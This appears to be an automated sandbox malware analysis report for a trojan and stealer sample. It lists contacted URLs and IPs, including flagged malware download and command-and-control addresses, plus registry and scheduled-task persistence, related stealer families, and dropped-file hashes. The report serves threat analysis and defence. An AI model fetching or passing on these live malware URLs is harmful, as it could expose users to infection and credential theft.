https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://fightlsoser.click/api2Q	1747150d4f.exe, 00000007.00000003.2901948742.00000000014E8000.00000004.00000020.00020000.00000000.sdmp, 1747150d4f.exe, 00000007.00000002.2948215481.00000000014E5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 00000037.00000002.3351824847.0000023103220000.00000004.00000800.00020000.00000000.sdmp	false		high
https://spocs.getpocket.com/userpreffedRegionsBlockString	firefox.exe, 00000037.00000002.3329779712.00000230FCA3C000.00000004.00000800.00020000.00000000.sdmp	false		high
https://grahm.xyz/t	d6cdb1061b.exe, 00000029.00000003.2831942653.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://screenshots.firefox.comP	firefox.exe, 00000037.00000002.3007602149.00000230F70B8000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.orgnetwork.proxy.backup.socksaccount-connection-connectedPERMISSION_REQUEST_	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/complete/	firefox.exe, 00000037.00000002.3350190811.00000231031BB000.00000004.00000800.00020000.00000000.sdmp	false		high
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://grahm.xyz/g	d6cdb1061b.exe, 00000029.00000003.2901450457.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2878106451.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2928756567.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000002.2976487065.00000000007D0000.00000004.00000020.00020000.00000000.sdmp, d6cdb1061b.exe, 00000029.00000003.2855136229.00000000007D0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/hell911/random.exeS	skotes.exe, 00000006.00000002.2983995817.0000000000F91000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://drive-connect.cyou/apii8R	8b334ae3d2.exe, 00000028.00000003.2900451371.0000000003B54000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://grahm.xyz/e	d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/download)	8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://www.avito.ru/	firefox.exe, 00000037.00000002.3008156422.00000230F71DC000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoPublicTimeStampingCAR36.crt0#	skotes.exe, 00000006.00000002.2983995817.0000000000FFC000.00000004.00000020.00020000.00000000.sdmp	false		high
https://truecolors.firefox.comnetwork.proxy.backup.socks_portchrome://browser/skin/menu.svgbrowser.u	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://80.82.65.70/files/download1	8ef456fdd1.exe, 00000009.00000003.2911248119.0000000000EDE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://grahm.xyz/e~	d6cdb1061b.exe, 00000029.00000002.2973064073.000000000075E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://80.82.65.70/files/download2	8ef456fdd1.exe, 00000009.00000003.2885923569.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2835337060.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000002.2997616619.00000000055A1000.00000004.00000020.00020000.00000000.sdmp, 8ef456fdd1.exe, 00000009.00000003.2860652097.00000000055A1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://developer.mozilla.org/en/docs/DOM:element.removeEventListener	firefox.exe, 00000037.00000002.3007602149.00000230F7003000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000037.00000002.3007602149.00000230F701B000.00000004.00000800.00020000.00000000.sdmp	false		high
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 00000037.00000002.3000747307.00000230F6540000.00000002.08000000.00040000.00000000.sdmp	false		high
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 00000037.00000002.3008156422.00000230F7103000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
80.82.65.70	unknown	Netherlands	202425	INT-NETWORKSC	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
116.203.10.31	grahm.xyz	Germany	24940	HETZNER-ASDE	false
172.67.213.48	fightlsoser.click	United States	13335	CLOUDFLARENETUS	false
104.21.79.7	drive-connect.cyou	United States	13335	CLOUDFLARENETUS	false
149.154.167.99	t.me	United Kingdom	62041	TELEGRAMRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
127.1.10.1	unknown	unknown	unknown	unknown	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1574173
Start date and time:	2024-12-13 01:49:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	56
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.mine.winEXE@93/60@20/11
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.17.78, 64.233.164.84, 172.217.17.46, 172.217.17.67, 172.217.19.10, 172.217.19.202, 172.217.21.42, 216.58.208.234, 172.217.19.170, 172.217.19.234, 142.250.181.10, 142.250.181.74, 142.250.181.106, 172.217.17.42, 142.250.181.138, 172.217.17.74, 142.250.181.42, 20.109.210.53, 13.107.246.63, 23.206.103.35
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, clientservices.googleapis.com, ogads-pa.googleapis.com, detectportal.prod.mozaws.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, location.services.mozilla.com, optimizationguide-pa.googleapis.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
00:50:03	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
00:51:42	Task Scheduler	Run new task: Intel_PTT_EK_Recertification path: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe
00:51:59	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 6e8fec8a4f.exe C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe
00:52:07	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 6e8fec8a4f.exe C:\Users\user\AppData\Local\Temp\1014588001\6e8fec8a4f.exe
00:52:18	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bb21432993.exe C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe
00:52:35	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bb21432993.exe C:\Users\user\AppData\Local\Temp\1014589001\bb21432993.exe
19:51:01	API Interceptor	78473x Sleep call for process: skotes.exe modified
19:51:41	API Interceptor	7x Sleep call for process: 1747150d4f.exe modified
19:51:47	API Interceptor	10x Sleep call for process: powershell.exe modified
19:51:48	API Interceptor	5x Sleep call for process: 8b334ae3d2.exe modified
19:51:55	API Interceptor	56x Sleep call for process: 8ef456fdd1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	ZzS8KjNjr7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	185.215.113.43/Zu7JuNko/index.php
80.82.65.70	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70/files/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70/soft/download
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70/soft/download

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
prod.detectportal.prod.cloudops.mozgcp.net	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Credential Flusher	Browse	34.107.221.82
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	34.107.221.82
plus.l.google.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.181.46
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Xmrig	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.217.17.78
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	142.250.201.46
	https://usps.com-blkr.top/us/	Get hash	malicious	Unknown	Browse	142.250.181.46
	https://dashboard.sizle.io/p/f7c9cdf19	Get hash	malicious	HTMLPhisher	Browse	142.250.181.46
	file.exe	Get hash	malicious	Vidar	Browse	172.217.17.78
	https://cargalia.com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPWVFczJZems9JnVpZD1VU0VSMjkxMTIwMjRVNDYxMTI5NTU=N0123N	Get hash	malicious	Unknown	Browse	142.250.181.46
play.google.com	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.217.19.238
	file.exe	Get hash	malicious	Xmrig	Browse	172.217.19.238
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	142.251.37.238
	https://usps.com-blkr.top/us/	Get hash	malicious	Unknown	Browse	172.217.19.206
	https://docs.google.com/presentation/d/e/2PACX-1vRMxSBYgTIj7bH-OYJSKudpxaekmSD6B-b603kyy-2ygb7TXyfRQC-hU8fjYDSrrObCUBq88ZmRswwh/pub?start=false&loop=false&delayms=3000	Get hash	malicious	Unknown	Browse	172.217.19.238
	https://cargalia.com/o/?c3Y9bzM2NV8xX29uZSZyYW5kPWVFczJZems9JnVpZD1VU0VSMjkxMTIwMjRVNDYxMTI5NTU=N0123N	Get hash	malicious	Unknown	Browse	172.217.19.238
	https://analytics-prd.aws.wehaa.net/trackings?value=1&action=click&category=external&origin=detailpage&url=http://notifix.info/scales/ec49f59be146f69f3ea00c211d5cccd90524b2cf7f8aec665534fc020c910734b9e18d0945bd518a0e55b407c5bf7443cf6179/paige_williams@newyorker.com&cat=firstpage&label_item_id=9633&label_owner_id=646&label_url=http://notifix.info/scales/ec49f59be146f69f3ea00c211d5cccd90524b2cf7f8aec665534fc020c910734b9e18d0945bd518a0e55b407c5bf7443cf6179/paige_williams@newyorker.com&idle=8d15bf95831b32126e4b3bd02a20cf592eade0e3442422aeaf0db14b2e91ae186a5549c468519863594ece59910ee541&tenant=minnesotastate.jobs	Get hash	malicious	Captcha Phish	Browse	172.217.19.206
	http://eon.keit.re.kr/WEOMTRACK.html?CPKN=O&CPSQ=88327186&CPSC=0&CPID=16122900000005&CPMEM=MTAwMDkwODg=&CLID=006&CLKN=CL&CPCED=20171231&DRTMF=5&DRTMT=60&URL=https://ncbx.qantumleap.ru/ejjH4o7kVaWIANfJxQHdbgws_rV8/	Get hash	malicious	Unknown	Browse	172.217.19.206
	https://hdtodayz.to/movie/watch-the-shawshank-redemption-hd-19679	Get hash	malicious	HTMLPhisher	Browse	172.217.19.206
	http://balmyrind.com/	Get hash	malicious	Unknown	Browse	172.217.19.238

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16
INT-NETWORKSC	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Unknown	Browse	80.82.65.70
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	80.82.65.70
	file.exe	Get hash	malicious	Socks5Systemz	Browse	80.82.65.70
	PGkSZbFKmI.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	80.82.65.70
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.213.48 104.21.79.7
	ltT8eZaqtZ.exe	Get hash	malicious	LummaC Stealer, PureLog Stealer	Browse	172.67.213.48 104.21.79.7
	htZgRRla8S.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.213.48 104.21.79.7
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	172.67.213.48 104.21.79.7
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.213.48 104.21.79.7
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	172.67.213.48 104.21.79.7
	z3oPvgjvyN.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.213.48 104.21.79.7
	Captcha.hta	Get hash	malicious	LummaC, Cobalt Strike, HTMLPhisher, LummaC Stealer	Browse	172.67.213.48 104.21.79.7
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.213.48 104.21.79.7
	ZzS8KjNjr7.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer	Browse	172.67.213.48 104.21.79.7
37f463bf4616ecd445d4a1937da06e19	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar, Xmrig	Browse	116.203.10.31 149.154.167.99
	WO-663071 Sabiya Power Station Project.vbs	Get hash	malicious	Remcos	Browse	116.203.10.31 149.154.167.99
	0TGy7VIqx7CSab5o.lNK.lnk	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	c2.hta	Get hash	malicious	XWorm	Browse	116.203.10.31 149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	116.203.10.31 149.154.167.99
	510005940.docx.doc	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	update.js	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	file.exe	Get hash	malicious	Unknown	Browse	116.203.10.31 149.154.167.99
	file.exe	Get hash	malicious	Vidar	Browse	116.203.10.31 149.154.167.99
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse	116.203.10.31 149.154.167.99

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, RedLine, Stealc, Vidar	Browse
	yiDQb6GkBq.exe	Get hash	malicious	Amadey, LummaC Stealer, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\download[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
SHA-512:	31BCA02094EB78126A517B206A88C73CFA9EC6F704C7030D18212CACE820F025F00BF0EA68DBF3F3A5436CA63B53BF7BF80AD8D5DE7D8359D0B7FED9DBC3AB99
Malicious:	false
Preview:	0

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\fuckingdllENCR[1].dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe
File Type:	data
Category:	dropped
Size (bytes):	97296
Entropy (8bit):	7.9982317718947025
Encrypted:	true
SSDEEP:	1536:A1FazaNKjs9ezO6kGnCRFVjltPjM9Ew1MhiIeJfZCQdOlnq32YTCUZiyAS3tUX9F:k4zaMjVUGCRzbgqw1MoIeJyQ4nyqX9F
MD5:	E6743949BBF24B39B25399CD7C5D3A2E
SHA1:	DBE84C91A9B0ACCD2C1C16D49B48FAEAEC830239
SHA-256:	A3B82FC46635A467CC8375D40DDBDDD71CAE3B7659D2BB5C3C4370930AE9468C
SHA-512:	3D50396CDF33F5C6522D4C485D96425C0DDB341DB9BD66C43EAE6D8617B26A4D9B4B9A5AEE0457A4F1EC6FAC3CB8208C562A479DCAE024A50143CBFA4E1F15F6
Malicious:	false
Preview:	XM .4Ih..]...t.&.s...v.0{.v.vs'...:.l.h...e.....R....1...r.R+Fk....~.s.....Q.....r.T.b.....~c..[........;...j.@.0.%.....x...v.w.....<ru....Yre;.b6...HQ-...8.B..Q.a...R.:.h&r.......=.;r.k..T.@....l..;#..3!.O..x.}........y'<.GfQ.K.#.L5v..].......d....N{e..@................A\..<.t.u.X.O.n..Z.. .Xb.O<.Z...h~.(.W.f.z.V.4..L...%5.0...H..`s...y.B......(IL5s:aS}X.......M9.J.o....).'..M;n6]...W..n....)...L...._..e.....>....[....RA.........'...6.N..g6....IY.%h.. 3r....^..\.b~y./....h.2......ZLk....u}..V..<.fbD.<!.._2.zo..IE...P..O...u......P.......w#.6N..&l.R}GI...LY...N.yz..j..Hy.'..._.5..Pd9.y..+....6.q...).G.c...L#....5\.M....5U])....U(..~H.m....Y....G1.r.4.B..h........P..]i...M%.............)q......]....~\|..j...b..K!..N.7R.}T.2bsq..1...L^..!.\|q.D'...s.Ln...D@..bn%0=b.Q1.....+l...QXO\|.......NC.d......{.0....8F.....<.W.y..{o..j.3.....n..4.....eS]. K...o.B.H~.sh.1....m8....6{.ls..R..q..~....w._;....X*.#..U....6n.ODbT.+Zc....q....S.$-S`YT....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2660864
Entropy (8bit):	6.051984276194483
Encrypted:	false
SSDEEP:	49152:gd/7YsW9mB5b+c2J9hFLuamiqFeQuADlaUoHtM3ljgfyeqX+zBE:gd/7vW9mHbH2J9hFLuamiPQuklaUoH2g
MD5:	2A78CE9F3872F5E591D643459CABE476
SHA1:	9AC947DFC71A868BC9C2EB2BD78DFB433067682E
SHA-256:	21A2AC44ACD7A640735870EEBFD04B8DC57BC66877CB5BE3B929299E86A43DAE
SHA-512:	03E2CD8161A1394EE535A2EA7D197791AB715D69A02FFAB98121EC5AC8150D2B17A9A32A59307042C4BBEFFAD7425B55EFA047651DE6ED39277DBA80711454F9
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 68%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: yiDQb6GkBq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............A...A...A...@...A...@'..A...@...A.4.@...A.4.@...A.4.@...A...@...A...A...A4.@...A46A...A4.@...ARich...A........................PE..L....YVg.................$...........$.......$...@...........................(.....dm)...@...................................%.(....@%.%....................@(.......%.p.............................%.@.............$..............................text...2.$.......$................. ..`.rdata...^....$..`....$.............@..@.data........ %.......%.............@....rsrc...%....@%.......%.............@..@.reloc.......@(.......(.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[2].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1812480
Entropy (8bit):	7.94648119916413
Encrypted:	false
SSDEEP:	49152:j30M2tfC22WnKWP1V4xV0S+h3lTlacCoUKJ:j30M4fL1P1qxV0S+R/sO
MD5:	22F1B1157F590899F3CFC12DD73DD2DB
SHA1:	98A6D31B71EDDCD278E715FA1C95838FF88A392D
SHA-256:	D2C483F48606D2239084E9F2863B5A83303C431C9D0BEA2751196188EDF1DDDB
SHA-512:	B31394B8E8705D64066C58D0D01CAE21D1FD9556ED64780950FC18646531C39FE4FC281388B69DE099C1E95E977FD96A7701CB78B12CF7AC54FCD83114BABC71
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 50%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....... ...d..d..d....s.\|....F.i....r.^..m.[.g..m.K.b....g..d.......w.w....E.e..Richd..........PE..L....dTg.....................(.......Pi...........@...........................i...........@.................................M.$.a.....$.......................$..................................................................................... . ..$......h..................@....rsrc.........$......x..............@....idata ......$......z..............@... .p*...$......\|..............@...gyzmglan.....0O......~..............@...erycfrrz.....@i.....................@....taggant.0...Pi.."..................@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\add[1].htm

Download File

Process:	C:\Users\user\AppData\Local\Temp\1014584001\8ef456fdd1.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:V:V
MD5:	CFCD208495D565EF66E7DFF9F98764DA
SHA1:	B6589FC6AB0DC82CF12099D1C2D40AB994E8410C
SHA-256:	5FECEB66FFC86F38D952786C6D696C79C2DBC239DD4E91B46729D73A27FB57E9
